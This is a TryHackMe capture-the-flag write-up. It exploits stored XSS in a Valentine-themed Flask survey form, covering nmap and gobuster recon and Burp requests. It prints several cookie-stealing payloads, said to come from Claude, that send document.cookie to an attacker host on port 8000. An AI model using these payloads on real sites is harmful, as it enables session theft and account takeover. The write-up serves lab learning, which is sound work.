# Cupid's Matchmaker (TryHackMe) - storedXSS on form


> My Dearest Hacker,
> 
> Tired of soulless AI algorithms? At Cupid's Matchmaker, real humans read your personality survey and personally match you with compatible singles. Our dedicated matchmaking team reviews every submission to ensure you find true love this Valentine's Day! 💘No algorithms. No AI. Just genuine human connection
> 
> You can access the web app here: `http://MACHINE_IP:5000`

Cupid's Matchmaker is a Valentine's Day-themed CTF challenge featuring a Flask web application (Python/Werkzeug) running on port 5000. The app presents itself as a "human-powered" matchmaking service where users fill out a personality survey — with submissions visible only to an authenticated admin at `/admin/submissions`. With no login credentials in hand, the goal is to escalate access by exploiting the survey form's input fields. Initial reconnaissance with `nmap` and `gobuster` reveals the attack surface, and Burp Suite is used throughout to intercept and craft malicious requests. The primary vulnerability is **Stored Cross-Site Scripting (XSS)** — injecting a payload into the survey that executes in the admin's browser when they review submissions, leaking their session cookie and granting unauthorized access to the admin panel.

```shell
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-15 01:46 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00011s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
631/tcp  open  ipp     CUPS 2.4
5000/tcp open  upnp?
```

```shell
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
/admin                (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 1639]
/logout               (Status: 302) [Size: 189] [--> /]
/survey               (Status: 200) [Size: 5286]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
```

There was a `/admin/submissions` path too

```shell
curl -i http://<IP_Address>:5000 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sun, 15 Feb 2026 01:56:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3160
Vary: Cookie
Connection: close

<!DOCTYPE html>
<html lang="en">
<body>
    <nav class="navbar">
        <div class="container">
            <a href="/" class="logo">
                <span class="heart">\U0001f498</span> Cupid's Matchmaker
            </a>
            <div class="nav-links">
                <a href="/">Home</a>
                <a href="/survey" class="btn-primary">Take Survey</a>
                
            </div>
        </div>
    </nav>
    <main>
        
<div class="hero">
    <div class="container">
        <h1 class="hero-title">Find Your Perfect Match</h1>
        <p class="hero-subtitle">No Algorithms. No AI. Just Real Human Matchmakers.</p>
        <a href="/survey" class="btn-hero">Start Your Journey \U0001f495</a>
    </div>
</div>

<div class="features">
    <div class="container">
        <div class="feature-grid">
            <div class="feature-card">
                <div class="feature-icon">\U0001f464</div>
                <h3>Human Touch</h3>
                <p>Our dedicated matchmaking team personally reviews every single submission. No cold algorithms here!</p>
            </div>
            <div class="feature-card">
                <div class="feature-icon">\U0001f49d</div>
                <h3>Genuine Connections</h3>
                <p>We read your personality, preferences, and dreams to find someone who truly complements you.</p>
            </div>
            <div class="feature-card">
                <div class="feature-icon">\u2728</div>
                <h3>Personalized Matches</h3>
                <p>Every match is carefully curated by real people who care about your happiness.</p>
            </div>
        </div>
    </div>
</div>

<div class="how-it-works">
    <div class="container">
        <h2>How It Works</h2>
        <div class="steps">
            <div class="step">
                <div class="step-number">1</div>
                <h3>Take Our Survey</h3>
                <p>Share your personality, interests, and what you're looking for in a partner.</p>
            </div>
            <div class="step">
                <div class="step-number">2</div>
                <h3>Human Review</h3>
                <p>Our matchmaking team personally reads and analyzes your submission.</p>
            </div>
            <div class="step">
                <div class="step-number">3</div>
                <h3>Get Matched</h3>
                <p>Receive your personalized match within 24-48 hours!</p>
            </div>
        </div>
    </div>
</div>

<div class="cta-section">
    <div class="container">
        <h2>Ready to Find Love?</h2>
        <p>Join thousands of singles who found their perfect match through human connection.</p>
        <a href="/survey" class="btn-cta">Take the Survey Now</a>
    </div>
</div>

    </main>

    <footer>
        <div class="container">
            <p>&copy; 2026 Cupid's Matchmaker | No AI, Just Love \u2764\ufe0f</p>
        </div>
    </footer>
</body>
</html>
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1e2f09a9-38e0-4894-807d-d4d30ce7fe85.png align="center")

I used Burp Suite to interact with the site and intercept requests. The site has a form that has different fields, including text areas. Once a form is submitted, it's sent to the submissions folder, which is within the admin path, and we don't have any authentication flow, meaning we can't access the submissions.

With the form text areas, thoughts of testing a chance of XSS.

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/fd8e0674-a2c9-46e2-a114-db37a2128f97.png align="center")

```shell
name=admin&age=25&gender=Prefer+not+to+say&seeking=Any&ideal_date=%7B%7B+7*7+%7D%7D&describe_yourself=%7B%7B+config+%7D%7D&looking_for=%7B%7B7*7%7D%7D&dealbreakers=
```

### Claude's suggestions for storedXSS

  
Claude suggested using the following storedXSS payloads to use:

````shell
# Start on port 8000
python3 -m http.server 8000

### Step 3: XSS Payloads for Exfiltration

Now in **Burp Suite**, intercept the survey and use these payloads:

#### 🎯 PAYLOAD 1: Image Tag (Most Reliable)

**In the `name` field:**
```
<img src="http://<AttackMachine_IP>:8000/cookie.jpg?c=COOKIE_HERE">
```

**In the `describe_yourself` field:**
```
<script>new Image().src='http://<AttackMachine_IP>:8000/?cookie='+document.cookie;</script>
```

**Replace `YOUR_IP`** with your actual IP (like `10.48.119.221`)

#### 🎯 PAYLOAD 2: Fetch API (More Flexible)

**In `describe_yourself`:**
```
<script>fetch('http://<AttackMachine_IP>:8000/?c='+document.cookie);</script>
```

#### 🎯 PAYLOAD 3: Script src (Alternative)

**In `name`:**
```
<script src="http://<AttackMachine_IP>:8000/?cookie=PLACEHOLDER"></script>
```

**In `describe_yourself`:**
```
<script>document.write('<img src="http://<AttackMachine_IP>:8000/?c='+document.cookie+'">');</script>
````

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7849854f-f5a6-4276-bcea-a0239affce21.png align="center")

```shell
POST /survey HTTP/1.1
Host: IP_Address:5000
Content-Length: 487
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.112.155.190:5000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.112.155.190:5000/survey
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

name=%3Cimg+src%3D%22http%3A%2F%2F<ATTACK_IP>%3A8000%2Fcookie.jpg%3Fc%3DeyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlRoYW5rIHlvdSEgT3VyIG1hdGNobWFraW5nIHRlYW0gd2lsbCByZXZpZXcgeW91ciBzdWJtaXNzaW9uIHNob3J0bHkhIl19XX0.aarD8Q.r9aKPtBM338Xr8m1S6QS87uwlq4%3B%22%3E&age=25&gender=Female&seeking=Male&ideal_date=%3Cscript%3Enew+Image%28%29.src%3D%27http%3A%2F%2F<ATTACK_IP>%3A8000%2F%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E%0D%0A&describe_yourself=kind&looking_for=nice&dealbreakers=
```

On your terminal run: `python3 -m http.server 8000`

```shell
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 06 Mar 2026 12:16:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlRoYW5rIHlvdSEgT3VyIG1hdGNobWFraW5nIHRlYW0gd2lsbCByZXZpZXcgeW91ciBzdWJtaXNzaW9uIHNob3J0bHkhIl19XX0.aarFgA.CBu0qAv5hBso9NzrCSChJw4k9KY; HttpOnly; Path=/
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/090566de-752f-430d-ae58-a18a38f6646c.png align="center")

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/11328f84-a745-4e24-8a39-bd38e0d29be0.png align="center")
